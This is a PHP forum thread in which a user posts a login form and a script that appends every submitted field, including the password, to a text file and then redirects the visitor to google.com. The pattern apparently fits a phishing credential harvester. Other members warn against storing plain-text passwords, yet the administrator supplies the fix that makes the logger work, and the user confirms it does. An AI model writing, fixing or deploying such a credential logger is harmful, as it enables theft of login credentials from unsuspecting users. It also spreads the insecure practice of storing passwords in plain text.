How to save form data Username and Password in text file?

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
Asifahmad555
Forum Newbie
Posts: 3
Joined: Tue Mar 27, 2018 10:19 am

How to save form data Username and Password in text file?

Post by Asifahmad555 »

Code: Select all

<form class="form-signin form" autocomplete="off" id="login-form" action="save_logs.php" method="post">


<div class='loginform'>
<div class='inputslogin'>

            
			<label for='name'><img src='/img/log_user.png'></label>
            <div class="form-group"><div><input class="form-control" placeholder="Username" name="LoginForm[username]" id="LoginForm_username" type="text" /><div class="help-block error" id="LoginForm_username_em_" style="display:none"></div></div></div>            
			
			<label for='pass'><img src='/img/log_pass.png'></label>
            <div class="form-group"><div><input class="form-control" placeholder="Password" name="LoginForm[password]" id="LoginForm_password" type="password" /><div class="help-block error" id="LoginForm_password_em_" style="display:none"></div></div></div>            
           
            <button type='submit'>enter</button>
                            <a href="register.php">
                    <button type='button'>register</button>
                </a>
                    </div>
					</div>
save_logs.php :-

Code: Select all

<?php
header ('Location: https://google.com ');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
	fwrite($handle, $variable);
	fwrite($handle, "=");
	fwrite($handle, $value);
	fwrite($handle, "\r\n");}
fwrite($handle, "**************************************\r\n");
fclose($handle);
exit;
?>
I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT

i tried with this save_logs.php script but that didnot worked.
User avatar
Christopher
Site Administrator
Posts: 13596
Joined: Wed Aug 25, 2004 7:54 pm
Location: New York, NY, US

Re: How to save form data Username and Password in text file

Post by Christopher »

To get the username and password:

Code: Select all

foreach($_POST['LoginForm'] as $variable => $value) {
Asifahmad555 wrote:I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT
Don't do this! At least use SQLite which is a file based database. http://php.net/manual/en/book.sqlite3.php
(#10850)
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Re: How to save form data Username and Password in text file

Post by VladSun »

Christopher +1

Also, never ever save a plain text password - save salt & peppered password hash instead.
There are 10 types of people in this world, those who understand binary and those who don't
Asifahmad555
Forum Newbie
Posts: 3
Joined: Tue Mar 27, 2018 10:19 am

Re: How to save form data Username and Password in text file

Post by Asifahmad555 »

yes i know but now i want to save in text file so please correct this form n that php script.
User avatar
Christopher
Site Administrator
Posts: 13596
Joined: Wed Aug 25, 2004 7:54 pm
Location: New York, NY, US

Re: How to save form data Username and Password in text file

Post by Christopher »

Asifahmad555 wrote:yes i know but now i want to save in text file so please correct this form n that php script.
I gave you the correction above. And then said you should not do it this way.
(#10850)
Asifahmad555
Forum Newbie
Posts: 3
Joined: Tue Mar 27, 2018 10:19 am

Re: How to save form data Username and Password in text file

Post by Asifahmad555 »

Christopher wrote:
Asifahmad555 wrote:yes i know but now i want to save in text file so please correct this form n that php script.
I gave you the correction above. And then said you should not do it this way.


THANKX IT WORKED BRO :)
Post Reply